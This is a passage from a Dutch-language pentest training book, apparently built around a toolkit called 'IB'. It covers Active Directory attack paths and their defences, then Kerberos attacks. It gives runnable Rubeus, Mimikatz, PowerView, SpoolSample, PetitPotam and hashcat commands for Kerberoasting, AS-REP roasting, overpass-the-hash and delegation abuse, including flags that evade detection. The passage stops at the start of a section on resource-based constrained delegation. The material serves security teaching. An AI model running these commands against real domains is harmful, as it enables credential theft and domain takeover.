Elke bevinding kan voorzien worden van evidence – screenshots, logbestanden, packet captures, of wat je maar nodig hebt om je verhaal te onderbouwen.

# Upload evidence voor een bevinding
curl -X POST http://127.0.0.1:5000/api/findings/42/evidence \
    -F "file=@screenshot_dcsync.png"

# Bekijk evidence voor een bevinding
curl http://127.0.0.1:5000/api/findings/42/evidence

# Exporteer alle evidence als ZIP
curl -o evidence.zip http://127.0.0.1:5000/api/findings/evidence/export

7.7.6 Rapport Generatie

Het kroonstuk: van bevindingen naar rapport. IB genereert een LaTeX-document dat via pandoc wordt omgezet naar Markdown, met OWASP-categorisering, severity-kleuren en kruisverwijzingen.

De route /dashboard/findings/rapport triggert het volgende proces:

  1. Bevindingen worden gegroepeerd op template-referentie
  2. Notities worden toegevoegd als subsecties
  3. LaTeX wordt gegenereerd met bevindingkoppen, beschrijvingen en evidence
  4. Regex-transformaties zetten LaTeX om naar HTML
  5. Pandoc converteert HTML naar Markdown
  6. Een YAML front matter blok wordt toegevoegd voor metadata

George zou zeggen: “Het hele rapport-generatieproces is een keten van regex-transformaties die LaTeX omzet naar HTML omzet naar Markdown. Het is alsof je een brief in het Latijn schrijft, die vertaalt naar het Grieks, en dan naar het Nederlands. Maar het werkt. En op het einde staat er toch echt een rapport.”

7.8 AD Aanvallen: De Verdediging

7.8.1 ACL Auditing

Maatregel Implementatie
ACL monitoring Event ID 5136 (Directory Service Changes) in SIEM
Privileged group monitoring Event ID 4728, 4732, 4756 (groepslidmaatschap)
AdminSDHolder Automatische ACL-reset op protected groups
Tiered administration Aparte admin-accounts per tier
BloodHound audits Regelmatig attack path analysis uitvoeren

7.8.2 DCSync Preventie

Maatregel Implementatie
Beperk replication rechten Alleen DC computer accounts
Monitor replicatie Event ID 4662 met Replicating GUIDs
Network segmentatie DCs in apart VLAN, alleen noodzakelijk verkeer
Credential Guard Voorkomt credential theft op endpoints

7.8.3 Trust Hardening

Maatregel Implementatie
SID Filtering Inschakelen op alle trusts
Selective Authentication Beperk cross-forest toegang tot specifieke accounts
Trust audit Regelmatig alle trusts reviewen op noodzaak
Quarantine policy Nieuwe forests standaard in quarantaine

7.8.4 SQL Server Hardening

Maatregel Implementatie
Least privilege service accounts gMSA’s in plaats van domain accounts
xp_cmdshell uitschakelen En monitor op herinschakeling
Linked servers minimaliseren Verwijder onnodige links
SMB signing vereisen Voorkomt NTLM relay
SQL Server audit C2 audit logging inschakelen

7.9 Het cynische slotwoord

“Weet je wat het echte probleem is met Active Directory? Het is niet dat het onveilig is. Het is dat het precies zo veilig is als de mensen die het beheren. En dat zijn dezelfde mensen die hun wifi-wachtwoord instellen op ‘Welkom01!’ en dan verbaasd zijn dat de buurman hun Netflix gebruikt.

Active Directory is een Ferrari. Een prachtige machine, vol vermogen, met duizend knoppen en hendels. En wij geven de sleutel aan iemand die net zijn rijbewijs heeft gehaald en zeggen: ‘Hier, beheer dit even voor tienduizend gebruikers.’ En dan zijn we verrast als hij ergens tegenaan rijdt.

Het mooiste vind ik nog de trust-relaties. ‘Wij vertrouwen dit andere domein.’ Waarom? ‘Omdat ze het vroegen.’ Geweldig. Laten we dat principe ook toepassen op het echte leven. ‘Meneer de bankier, ik vertrouw deze persoon, kunt u hem toegang geven tot mijn kluis?’ ‘Maar meneer, wie is deze persoon?’ ‘Geen idee, maar hij draagt een stropdas, dus het zal wel goed zitten.’

En weet je wat het allerergste is? Als je een pentest doet en al deze dingen vindt, en je schrijft het op in een rapport, dan zegt de klant: ‘Ja maar dat wisten we al, we hadden alleen nog geen tijd om het op te lossen.’ GEEN TIJD. Alsof beveiliging iets is dat je doet als je een rustig weekendje hebt. ‘Schat, zullen we dit weekend de tuin doen, of zullen we voorkomen dat onze hele IT-infrastructuur overgenomen wordt door een willekeurige persoon met een PowerShell-script?’ Hmm, lastige keuze.”

7.10 De AD Aanvalsboom

                     Domain User Account
                            |
              +-------------+-------------+
              |                           |
        ACL Enumeratie              MSSQL Enumeratie
        (PowerView/BloodHound)      (PowerUpSQL)
              |                           |
     +--------+--------+           +------+------+
     |        |        |           |      |      |
  GenericAll WriteDACL WriteOwner  UNC   Linked  xp_cmdshell
     |        |        |         Inject  Server     |
     |    Geef jezelf  |           |      |      OS Command
     |    DCSync       |       Hash       |      Execution
     |    rechten      |       Capture    |         |
     |        |        |           |    Privilege   |
     +--------+--------+      Crack/     Hop       |
              |                Relay       |        |
           DCSync                |     Sysadmin    |
              |                  |     op remote   |
    +---------+---------+        +--------+--------+
    |         |         |                 |
  krbtgt    Admin    Service         Lateral
  hash      hash    Account          Movement
    |         |      hashes              |
  Golden    Pass-     |                  |
  Ticket   the-Hash  Kerberoast          |
    |         |        |                 |
    +---------+--------+---------+-------+
                       |
              Domain Admin / Enterprise Admin
                       |
              +--------+--------+
              |                 |
        Child-to-Parent    Cross-Forest
        (sIDHistory)       (Trust Key)
              |                 |
        Enterprise Admin   External Forest
                           Toegang

Deze boom toont hoe Active Directory-aanvallen zich vertakken vanuit een gewone domain user. De linkerkant focust op ACL-misbruik en DCSync – het klassieke pad. De rechterkant toont de SQL Server-route die vaak over het hoofd gezien wordt maar even effectief kan zijn.

In de praktijk zijn de paden niet zo gescheiden. Een UNC Path Injection geeft je een hash die je kunt kraken of relayen. Een Kerberoast-hash leidt naar een service account dat wellicht GenericAll heeft op een ander object. BloodHound verbindt deze punten visueel en berekent het kortste pad.

7.11 Historische Context: Hoe We Hier Gekomen Zijn

De geschiedenis van Active Directory is een verhaal van goede bedoelingen en onvoorziene gevolgen – en het is fascinerend.

In de jaren negentig beheerde elke Windows-server zijn eigen gebruikers- database (SAM). Als je tien servers had, had je tien aparte gebruikers- lijsten. Het was chaos. Microsoft’s oplossing was Windows NT 4.0 met domain controllers – een centrale database voor alle gebruikers. Maar NT-domeinen waren plat: geen hiërarchie, geen delegatie, geen fijnmazige rechten.

In 2000 kwam Active Directory, gebaseerd op LDAP en Kerberos. Het was revolutionair. Plotseling kon je een hiërarchie van domeinen opzetten, rechten delegeren aan specifieke OUs, en beleid afdwingen via Group Policy. Het was alsof je van een dorpsplein met een megafoon overging naar een heel bestuursapparaat met ministeries, departementen en ambtenaren.

Het probleem? Diezelfde complexiteit werd een aanvalsoppervlak. Elke feature – trusts, delegation, ACLs, GPOs, replicatie – was een potentiele aanvalsvector. En de standaardinstellingen waren gericht op functionaliteit, niet op beveiliging.

Vijfentwintig jaar later zitten we met de gevolgen. De meeste Active Directory-omgevingen zijn organisch gegroeid, beheerd door wisselende teams, en nooit fundamenteel opgeschoond. Het is alsof je een stad hebt die in de loop der eeuwen is uitgebreid zonder ooit een stadsplan te maken. De wegen zijn kronkelig, de bebording is inconsistent, en er staan gebouwen die niemand meer gebruikt maar die ook niemand durft af te breken.

George zou zeggen: “Active Directory is vijfentwintig jaar oud. In mensjaren is dat een kwart eeuw. In IT-jaren is dat een geologisch tijdperk. En toch vertrouwen we er de beveiliging van onze hele infrastructuur aan toe. Dat is alsof je in 2026 nog steeds een slot op je voordeur hebt uit 2000. Een slot dat iedereen kent, waar YouTube-tutorials over bestaan, en waarvoor de loper te koop is op Amazon voor 9,95 euro inclusief verzending.”

7.12 IB Tips & Tricks

Tip 1: Begin altijd met ACL-enumeratie. BloodHound is je vriend. Upload de data, markeer je huidige account als “owned”, en laat het de kortste weg naar Domain Admin berekenen.

Tip 2: DCSync is het einddoel van bijna elke AD-aanval. Als je de keuze hebt tussen meerdere escalatiepaden, kies het pad dat naar DCSync-rechten leidt.

Tip 3: SQL Server is vaak het vergeten kind in een AD-omgeving. Als je vastloopt met standaard AD-technieken, probeer de SQL-route. Get-SQLInstanceDomain kost je twee seconden en kan een hele nieuwe wereld openen.

Tip 4: Documenteer elke stap. IB’s finding management systeem is er niet voor de sier. Upload je screenshots, noteer je CVSS-scores, en link naar de juiste OWASP-categorie. Je toekomstige zelf (en je reviewer) zullen je dankbaar zijn.

Tip 5: Ruim op na jezelf. Zet xp_cmdshell weer uit. Verwijder de SPN die je gezet hebt. Haal jezelf weer uit Domain Admins. Een goede pentester laat geen sporen achter – of in ieder geval, alleen de sporen die in het rapport staan.

7.13 Referentietabel

Techniek IB Command Tool(s) Vereisten
ACL Enumeratie ad_enum_acl PowerView Domain user
GenericAll Abuse ad_genericall PowerView GenericAll op target
WriteDACL Abuse ad_writedacl PowerView WriteDACL op target
DCSync ad_dcsync Mimikatz, Impacket Replication rechten
Child-to-Parent ad_trust_child_to_parent Mimikatz, Rubeus DA in child domain
Cross-Forest ad_trust_cross_forest Mimikatz, Rubeus DA in current forest
MSSQL Enum mssql_enum PowerUpSQL Domain user
MSSQL Linked mssql_linked PowerUpSQL SQL Server toegang
MSSQL xp_cmdshell mssql_xpcmdshell PowerUpSQL sysadmin op SQL
MSSQL UNC Inject mssql_unc_inject Responder, PowerUpSQL SQL Server toegang
GPO Abuse SharpGPOAbuse Schrijfrechten op GPO

Volgende hoofdstuk: Kerberos Aanvallen – waar we het authenticatieprotocol ontleden dat vernoemd is naar een driekoppige hellehond, en ontdekken dat zelfs mythologische bewakers niet opgewassen zijn tegen creatieve aanvallers met een PowerShell-prompt.

Kerberos Aanvallen

Kerberos Aanvallen

“Kerberos – vernoemd naar Cerberus, de driekoppige hellehond die de poorten van de onderwereld bewaakt. Een passende naam voor een protocol dat drie partijen nodig heeft om te functioneren, en dat – net als die hellehond – flink kan bijten als je niet oppast.”

8.1 Het Theater en de Kaartjes

Stel je voor dat je naar het theater gaat. Niet zomaar een theater – een heel groot theater met honderd zalen, duizend voorstellingen en tienduizend bezoekers per avond. Het werkt als volgt:

  1. Je komt bij de hoofdkassa (het Key Distribution Center, KDC). Je toont je identiteitsbewijs en je seizoenkaart. De kassamedewerker controleert je naam in het systeem en geeft je een gouden pasje (het Ticket Granting Ticket, TGT). Dit pasje is geldig voor de hele avond.

  2. Met je gouden pasje ga je naar een van de loketjes (de Ticket Granting Service, TGS). Je zegt: “Ik wil naar de voorstelling in zaal 7.” Het loketje controleert je gouden pasje en geeft je een toegangskaartje (het Service Ticket) voor die specifieke zaal.

  3. Bij de deur van zaal 7 (de service) toon je je toegangskaartje. De portier controleert het kaartje, ziet dat het geldig is, en laat je binnen.

Dat is Kerberos in een notendop. Het is elegant, het is efficient, en het voorkomt dat je bij elke deur opnieuw je identiteitsbewijs moet tonen. Je wachtwoord verlaat nooit het beginpunt – alleen versleutelde tickets reizen door het netwerk.

Het is een briljant systeem. Tenzij iemand de gouden pasjes kan namaken. Of de toegangskaartjes. Of de kassamedewerker omkoopt. En dat is precies wat we in dit hoofdstuk gaan doen.

George zou zeggen: “Kerberos is vernoemd naar een driekoppige hond. Drie koppen. Om een deur te bewaken. Je zou denken dat een hond met een kop genoeg is, maar nee – de Grieken vonden dat er drie moesten zijn. En Microsoft dacht: weet je wat, laten we dat concept pakken en het zo complex maken dat zelfs de hond niet meer weet welke kop waarvoor is.”

8.2 Het Kerberos Protocol: Onder de Motorkap

8.2.1 De Spelers

Component Rol Analogie
KDC (Key Distribution Center) Authenticatie-autoriteit De hoofdkassa
AS (Authentication Service) Deel van KDC, verifieert identiteit De kassamedewerker
TGS (Ticket Granting Service) Deel van KDC, geeft service tickets uit Het loketje
TGT (Ticket Granting Ticket) Bewijs van authenticatie Het gouden pasje
Service Ticket (ST/TGS) Bewijs van autorisatie voor service Het toegangskaartje
Client De gebruiker/computer De theaterbezoeker
Service De resource (fileserver, webapp, etc.) De theaterzaal

In Active Directory draait de KDC altijd op de Domain Controller. Het Kerberos-protocol gebruikt standaard poort 88 (TCP/UDP).

8.2.2 De Uitwisseling

Fase 1: Authentication Service Exchange (AS-REQ/AS-REP)

Client                                   KDC (Domain Controller)
  |                                           |
  |-- AS-REQ (username + timestamp) --------->|
  |   (timestamp versleuteld met user's       |
  |    wachtwoord-hash = pre-auth)            |
  |                                           |
  |<-- AS-REP (TGT + session key) ------------|
  |   (TGT versleuteld met krbtgt hash,       |
  |    session key versleuteld met user hash)  |

De client stuurt een AS-REQ naar de KDC met zijn gebruikersnaam en een tijdstempel die versleuteld is met zijn wachtwoord-hash (dit is pre-authentication). De KDC controleert of het wachtwoord klopt door de tijdstempel te ontsleutelen, en stuurt een TGT terug dat versleuteld is met de hash van het krbtgt-account.

Cruciaal detail: het TGT is versleuteld met de krbtgt-hash. De client kan het TGT niet lezen of wijzigen – hij kan het alleen presenteren bij de TGS. Alleen de KDC (die de krbtgt-hash kent) kan het openen.

Fase 2: Ticket Granting Service Exchange (TGS-REQ/TGS-REP)

Client                                   KDC (Domain Controller)
  |                                           |
  |-- TGS-REQ (TGT + SPN van service) ------>|
  |                                           |
  |<-- TGS-REP (Service Ticket) -------------|
  |   (versleuteld met hash van het           |
  |    service account)                       |

De client stuurt zijn TGT samen met de SPN (Service Principal Name) van de gewenste service. De KDC opent het TGT, controleert of het geldig is, en maakt een Service Ticket aan dat versleuteld is met de hash van het service account.

Fase 3: Application Server Exchange

Client                                   Service
  |                                           |
  |-- AP-REQ (Service Ticket) --------------->|
  |                                           |
  |<-- AP-REP (optioneel, mutual auth) ------|

De client toont het Service Ticket aan de service. De service ontsleutelt het met zijn eigen hash, controleert de geldigheid, en verleent toegang.

8.2.3 Encryption Types

Kerberos ondersteunt meerdere encryptie-types. De volgorde van voorkeur:

Type Naam Sterkte Opmerking
0x17 RC4-HMAC Zwak Gebruikt NTLM-hash als key
0x11 AES128-CTS Sterk
0x12 AES256-CTS Sterkst Standaard in moderne AD

RC4-HMAC is belangrijk voor aanvallers omdat de sleutel letterlijk de NTLM-hash van het account is. Dit maakt technieken als Pass-the-Hash en Overpass-the-Hash mogelijk. AES-keys zijn afgeleid van het wachtwoord maar zijn niet hetzelfde als de NTLM-hash.

Opmerking: Het is een beetje alsof je huis drie sloten heeft: een hangslot (RC4), een cilinderslot (AES128) en een bankkluis-slot (AES256). Het probleem is dat de meeste mensen nog steeds het hangslot gebruiken omdat het makkelijker is, en de inbreker het liefst bij het hangslot begint.

8.3 Kerberoasting: De Populairste Aanval

8.3.1 Het Concept

Kerberoasting is elegant in zijn eenvoud. Het misbruikt een fundamenteel ontwerpkenmerk van Kerberos: elk Service Ticket is versleuteld met de hash van het service account. Als je een Service Ticket kunt aanvragen, heb je dus een stuk data dat versleuteld is met een wachtwoord – en dat kun je offline proberen te kraken.

Elke geauthenticeerde domain user kan Service Tickets aanvragen voor elke service met een SPN (Service Principal Name). Dat is geen bug, dat is een feature – het is hoe Kerberos werkt. Het probleem ontstaat wanneer service accounts zwakke wachtwoorden hebben.

En ze hebben bijna altijd zwakke wachtwoorden.

Waarom? Omdat service accounts aangemaakt worden door een systeembeheerder die denkt: “Dit is een technisch account, niemand logt hier interactief mee in, dus ‘Zomer2019!’ is prima.” En dan vergeet iedereen dat dat account bestaat. Vijf jaar lang.

8.3.2 Kerberoasting in de Praktijk

IB Command: kerb_kerberoast

# ============================================================
# Kerberoast - Service account wachtwoorden kraken
# ============================================================

# Statistieken bekijken (hoeveel accounts, welke encryption):
.\Rubeus.exe kerberoast /stats

# Specifieke user roasten:
.\Rubeus.exe kerberoast /user:svcadmin /simple

# RC4 opsec (vermijd encryption downgrade detectie):
.\Rubeus.exe kerberoast /stats /rc4opsec
.\Rubeus.exe kerberoast /rc4opsec /outfile:C:\Windows\tasks\hashes.txt

# Kraken met John the Ripper:
john.exe --wordlist=wordlist.txt hashes.txt

Stap voor stap:

  1. Stats bekijkenkerberoast /stats toont hoeveel accounts een SPN hebben en welke encryptie ze gebruiken. Accounts met RC4 zijn sneller te kraken dan AES.

  2. Tickets aanvragen – Rubeus vraagt een TGS aan voor elk account met een SPN. Het ticket wordt opgeslagen in een formaat dat hashcat of John the Ripper kan lezen.

  3. Offline kraken – De hash wordt lokaal gekraakt. Geen netwerkverkeer, geen lockouts, geen detectie (tenzij je de initiële ticket-aanvraag monitort).

Het verschil met brute force:

Aspect Brute force login Kerberoasting
Netwerkverkeer Per poging Eenmalig (1 TGS-REQ)
Account lockout Ja Nee
Detectie Makkelijk Moeilijker
Snelheid Beperkt door netwerk Beperkt door GPU

Met een moderne GPU kun je miljarden RC4-Kerberos-hashes per seconde proberen. Dat betekent dat een wachtwoord van 8 tekens in minuten gekraakt is, niet in jaren.

# Kraken met hashcat (sneller dan John, GPU-acceleratie)
hashcat -m 13100 hashes.txt wordlist.txt -r best64.rule

Let op: De /rc4opsec vlag in Rubeus is belangrijk. Normaal gesproken vraagt Kerberoasting tickets aan met RC4-encryptie, ook als het account AES ondersteunt. Dit is een encryption downgrade die gedetecteerd kan worden. Met /rc4opsec worden alleen accounts getarget die RC4 al gebruiken.

8.3.3 Wat Doe Je Met een Gekraakt Wachtwoord?

Een service account wachtwoord opent deuren. Letterlijk:

8.4 Targeted Kerberoasting: De Stille Variant

8.4.1 Het Concept

Normale Kerberoasting vereist dat het doelaccount al een SPN heeft. Maar wat als je GenericWrite of GenericAll hebt op een account dat geen SPN heeft? Dan zet je er zelf een op.

Dit is de digitale versie van een inbreker die zelf een slot op een deur monteert waarvan hij de sleutel heeft, en dan doet alsof hij de eigenaar is.

8.4.2 Targeted Kerberoasting in de Praktijk

IB Command: kerb_targeted_kerberoast

# ============================================================
# Targeted Kerberoasting - SPN zetten op user met GenericWrite
# ============================================================

# Stap 1: Check ACL rechten
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match 'currentuser'
}

# Stap 2: Check of target al een SPN heeft
Get-DomainUser -Identity targetuser | select serviceprincipalname

# Stap 3: SPN zetten (moet uniek zijn in domain)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='domain/whatever1'}

# Stap 4: Kerberoast
.\Rubeus.exe kerberoast /outfile:C:\Windows\tasks\targeted_hashes.txt

# Stap 5: Kraken
john.exe --wordlist=wordlist.txt targeted_hashes.txt

De stappen:

  1. ACL check – Verifieer dat je GenericWrite (of meer) hebt op het doelaccount. Dit komt vaker voor dan je denkt, vooral bij accounts in OUs waar helpdesk-groepen schrijfrechten hebben.

  2. SPN check – Controleer of het account al een SPN heeft. Als dat zo is, hoef je geen targeted Kerberoast te doen – gewoon standaard Kerberoasting.

  3. SPN zetten – De SPN moet uniek zijn in het domein. Iets als domain/whatever1 is prima – het hoeft nergens naar te verwijzen.

  4. Roasten – Rubeus pikt het account nu op als Kerberoastable target.

  5. Opruimen – Vergeet niet de SPN weer te verwijderen na de aanval!

# SPN weer verwijderen (opruimen!)
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

George zou zeggen: “Targeted Kerberoasting is als een parkeerboete plakken op iemands auto en dan de boete incasseren. Je creëert het probleem en lost het vervolgens op – ten koste van iemand anders.”

8.5 AS-REP Roasting: Zonder Pre-Authentication

8.5.1 Het Concept

Herinner je je fase 1 van het Kerberos-protocol? De client stuurt een AS-REQ met een versleutelde tijdstempel (pre-authentication) om te bewijzen dat hij het wachtwoord kent. Maar sommige accounts hebben pre-authentication uitgeschakeld. Dit is een instelling in Active Directory: “Do not require Kerberos preauthentication.”

Waarom zou je dit uitschakelen? Goede vraag. Soms voor compatibiliteit met oude systemen. Soms door onwetendheid. Soms omdat iemand een tutorial volgde op internet die het adviseerde. De reden doet er niet toe – het effect is dat je een AS-REP kunt aanvragen voor dat account zonder het wachtwoord te kennen, en dat die AS-REP versleuteld is met de hash van het account.

Klinkt bekend? Inderdaad, het is hetzelfde principe als Kerberoasting, maar dan bij de AS-REP in plaats van de TGS-REP.

8.5.2 AS-REP Roasting in de Praktijk

IB Command: kerb_asreproast

# ============================================================
# AS-REP Roasting - Accounts zonder Kerberos pre-auth
# ============================================================

# Stap 1: Vind accounts zonder pre-auth vereiste
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,distinguishedname

# Of met AD Module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
    -Properties DoesNotRequirePreAuth

# Stap 2: AS-REP hashes ophalen met Rubeus
.\Rubeus.exe asreproast /format:hashcat `
    /outfile:C:\Windows\tasks\asrep_hashes.txt

# Alleen specifieke user:
.\Rubeus.exe asreproast /user:targetuser /format:hashcat `
    /outfile:C:\Windows\tasks\asrep_hashes.txt

# Stap 3: Crack met hashcat (mode 18200)
hashcat -m 18200 asrep_hashes.txt wordlist.txt --rules-file best64.rule

# Of met John:
john --wordlist=wordlist.txt asrep_hashes.txt

Targeted AS-REP Roasting:

Als je GenericWrite hebt op een account, kun je pre-authentication zelf uitschakelen:

# Disable pre-auth (GenericWrite vereist)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -Verbose

Het magische getal 4194304 (0x400000) is de waarde van de DONT_REQUIRE_PREAUTH flag in het userAccountControl-attribuut. De XOR operatie flipt die specifieke bit.

Opmerking: “Het is fascinerend hoe een enkel bitje – een 0 die een 1 wordt, of andersom – het verschil kan maken tussen een beveiligd account en een account dat zijn wachtwoord-hash aan elke voorbijganger uitdeelt. Het doet denken aan die ene schakelaar in een kerncentrale waar ‘AAN’ en ‘UIT’ alleen maar verschilt in de stand van een hendeltje van drie centimeter.”

8.6 Overpass-the-Hash: Van NTLM naar Kerberos

8.6.1 Het Concept

Pass-the-Hash is een bekende techniek: je gebruikt een NTLM-hash om je te authenticeren bij services die NTLM accepteren. Maar veel moderne omgevingen blokkeren NTLM en vereisen Kerberos.

Overpass-the-Hash (ook wel Pass-the-Key genoemd) lost dit op: je gebruikt een NTLM-hash of AES-key om een Kerberos TGT aan te vragen. Daarna gebruik je dat TGT voor Kerberos-authenticatie. Het is een brug tussen de NTLM-wereld en de Kerberos-wereld.

Het is als iemand die een Amerikaans rijbewijs heeft en ermee naar Europa gaat. Het rijbewijs zelf werkt niet op Europese wegen (NTLM geblokkeerd), maar je kunt er een internationaal rijbewijs mee aanvragen (TGT) dat overal geldig is (Kerberos).

8.6.2 Overpass-the-Hash in de Praktijk

IB Command: kerb_opth

# ============================================================
# OverPass-the-Hash - Tokens genereren uit hashes/keys
# ============================================================

# Met Mimikatz (elevated):
C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth `
    /user:Administrator `
    /domain:domain.local `
    /aes256:AES256_KEY `
    /run:powershell.exe" "exit"

# Met Rubeus (geen elevatie nodig):
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /ptt

# Met Rubeus (elevated, opsec met AES):
.\Rubeus.exe asktgt /user:Administrator `
    /aes256:AES256_KEY `
    /opsec `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

Drie methoden, oplopend in stealth:

  1. Mimikatz sekurlsa::pth – De klassieke methode. Maakt een nieuw logon-session aan en injecteert de hash/key. Vereist elevated privileges. Opent een nieuw proces (bijv. PowerShell) dat authenticatie uitvoert met de gespecificeerde credentials.

  2. Rubeus asktgt met RC4 – Vraagt een TGT aan met de NTLM-hash. Werkt zonder elevatie. Het /ptt (Pass-the-Ticket) flag injecteert het TGT direct in het huidige logon-session.

  3. Rubeus asktgt met AES256 en /opsec – De stealthste variant. Gebruikt AES-encryptie (geen RC4 downgrade detectie), maakt een apart logon-session aan via /createnetonly, en toont het resultaat.

Let op: Het verschil tussen /rc4: en /aes256: is significant voor detectie. RC4-gebaseerde Kerberos-requests worden in moderne omgevingen gemarkeerd als verdacht (Event ID 4769 met encryption type 0x17). AES256 vliegt onder de radar.

8.7 Constrained Delegation: Impersonation met Beperking

8.7.1 Het Concept

Delegation in Kerberos is het mechanisme waarmee een service namens een gebruiker kan handelen. Stel: je logt in op een webapplicatie, en die applicatie moet namens jou data ophalen uit een database. De applicatie heeft een gedelegeerd ticket nodig dat zegt: “Ik ben de webapplicatie, maar ik handel namens Jan die net ingelogd is.”

Constrained Delegation beperkt dit tot specifieke services. Het account svc_web mag delegeren naar cifs/dbserver.domain.local – en nergens anders naartoe. Tenminste, dat is de theorie.

In de praktijk werkt het via twee S4U (Service for User) extensies:

Het geniale (of afschuwelijke, afhankelijk van je perspectief) is dat je met de /altservice flag in Rubeus het service-gedeelte van het ticket kunt wijzigen. Het ticket zegt cifs/dbserver, maar je past het aan naar ldap/dbserver of host/dbserver of wsman/dbserver. De PAC (Privilege Attribute Certificate) blijft geldig – alleen de service-naam verandert.

8.7.2 Constrained Delegation in de Praktijk

IB Command: kerb_constrained

# ============================================================
# Constrained Delegation aanval - S4U impersonation
# ============================================================

# Stap 1: Vind accounts met constrained delegation
Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select dnshostname,msds-allowedtodelegateto

# Stap 2: Hash/TGT van service account verkrijgen
.\Rubeus.exe tgtdeleg /nowrap

# Of met bekende hash:
.\Rubeus.exe asktgt /user:svc_account /rc4:HASH_HERE /nowrap

# Stap 3: S4U (Self + Proxy) - impersonate Administrator
.\Rubeus.exe s4u /ticket:BASE64_TGT `
    /impersonateuser:Administrator `
    /msdsspn:cifs/target.domain.local `
    /altservice:http,host,ldap,wsman `
    /ptt

# Stap 4: Verifieer toegang
ls \\target.domain.local\c$

De stappen uitgelegd:

  1. EnumeratieGet-DomainUser -TrustedToAuth vindt alle accounts met het msDS-AllowedToDelegateToService attribuut ingesteld. Dit attribuut specificeert naar welke services het account mag delegeren.

  2. TGT verkrijgen – Je hebt een TGT nodig van het service account. Dit kan via tgtdeleg (als je al een sessie hebt als dat account), of via asktgt met een bekende hash.

  3. S4U aanval – Rubeus voert automatisch S4U2Self en S4U2Proxy uit. Je impersoneert Administrator naar de geconfigureerde service. De /altservice parameter voegt extra service-types toe aan het ticket.

  4. Toegang – Met een ticket voor cifs/target kun je file shares benaderen. Met host/target kun je scheduled tasks aanmaken. Met wsman/target kun je PSRemoting gebruiken.

George zou zeggen: “Constrained Delegation is Microsoft’s manier om te zeggen: ‘Je mag namens anderen handelen, maar alleen bij deze ene winkel.’ Het probleem is dat je het naamplaatje van die winkel kunt verwisselen met elke andere winkel in het winkelcentrum, en niemand controleert dat.”

8.8 Unconstrained Delegation: De Open Deur

8.8.1 Het Concept

Waar Constrained Delegation nog een poging doet om dingen te beperken, gooit Unconstrained Delegation alle voorzichtigheid overboord. Een server met Unconstrained Delegation ontvangt en bewaart het TGT van elke gebruiker die erop inlogt. Met dat TGT kan de server alles doen wat die gebruiker kan – zonder beperking.

Het is alsof je bij de garderobe van een restaurant je portemonnee, je huissleutels en je identiteitsbewijs afgeeft, en de garderobemedewerker besluit dat hij even een ritje gaat maken met jouw auto en wat boodschappen doet met je creditcard.

8.8.2 De Printer Bug

Het echte gevaar van Unconstrained Delegation ontstaat in combinatie met de Printer Bug (ook wel SpoolSample of PetitPotam). Je dwingt een Domain Controller om zich te authenticeren bij de Unconstrained Delegation server. De DC stuurt zijn TGT mee. Jij vangt dat TGT op. En nu heb je het TGT van een Domain Controller machine account.

Met dat TGT kun je een DCSync uitvoeren – en je hebt de sleutels van het koninkrijk.

8.8.3 Unconstrained Delegation in de Praktijk

IB Command: kerb_unconstrained

# ============================================================
# Unconstrained Delegation aanval - TGT capture via printer bug
# ============================================================

# Stap 1: Vind servers met unconstrained delegation
Import-Module .\PowerView.ps1
Get-DomainComputer -Unconstrained | select dnshostname

# Stap 2: Monitor op binnenkomende TGTs (op unconstrained server)
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

# Stap 3: Trigger printer bug (forceer DC auth)
.\SpoolSample.exe DC01.domain.local WEB01.domain.local

# Of met PetitPotam:
python3 PetitPotam.py WEB01@80/test DC01 -d domain.local -u user -p pass

# Stap 4: TGT verschijnt in Rubeus monitor - inject met PTT
.\Rubeus.exe ptt /ticket:BASE64_DC_TGT

# Stap 5: DCSync met het DC machine account
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

De aanvalsketen:

  1. Unconstrained server vinden – Zoek naar computers met de TRUSTED_FOR_DELEGATION flag. Dit zijn vaak oudere servers, web servers, of servers die ooit “even snel” geconfigureerd zijn. Domain Controllers hebben standaard Unconstrained Delegation – maar die hoef je niet te gebruiken (je hebt ze al).

  2. Rubeus monitor starten – Op de Unconstrained Delegation server start je Rubeus in monitor-modus. Het luistert naar nieuwe TGTs die binnenkomen in het logon-session cache.

  3. Printer Bug triggeren – SpoolSample misbruikt de Print Spooler service op de DC. Het vertelt de DC: “Hé, er is een printupdate voor je op WEB01.” De DC probeert verbinding te maken met WEB01 en stuurt daarbij zijn TGT mee (want Unconstrained Delegation).

    PetitPotam doet hetzelfde maar via het EFS (Encrypting File System) protocol – handig als Print Spooler uitgeschakeld is.

  4. TGT injecteren – Het TGT van DC01$ verschijnt in Rubeus. Je injecteert het in je huidige sessie.

  5. DCSync – Met het TGT van de DC kun je een DCSync uitvoeren als het machine account, dat standaard de benodigde replicatierechten heeft.

Opmerking: “Het is een cascade-effect dat doet denken aan die reclame voor een muizenval uit de jaren negentig – je plaatst een knikker op een helling, die valt op een wip, die een bal lanceert, die een kooi laat vallen. Alleen is de kooi hier gevuld met de NTLM-hashes van elk account in het hele domein.”

8.9 Resource-Based Constrained Delegation (RBCD)

8.9.1 Het Concept

RBCD draait de controle om. Bij gewone Constrained Delegation zegt het service account: “Ik mag delegeren naar die service.” Bij RBCD zegt het doelcomputer account: “Dit account mag namens anderen naar mij delegeren.”

Het verschil is subtiel maar cruciaal: de instelling staat op het doelobject, niet op het bronobject. Het attribuut heet msDS-AllowedToActOnBehalfOfOtherIdentity.

Waarom is dit relevant? Omdat je met GenericWrite op een computerobject dit attribuut kunt instellen. Je maakt een fake machine account aan, configureert RBCD, en voert een S4U-aanval uit. Geen Domain Admin nodig, geen speciale privileges op de dienst zelf – alleen schrijfrechten op het computerobject.

8.9.2 RBCD in de Praktijk

IB Command: kerb_rbcd

# ============================================================
# Resource-Based Constrained Delegation (RBCD) aanval
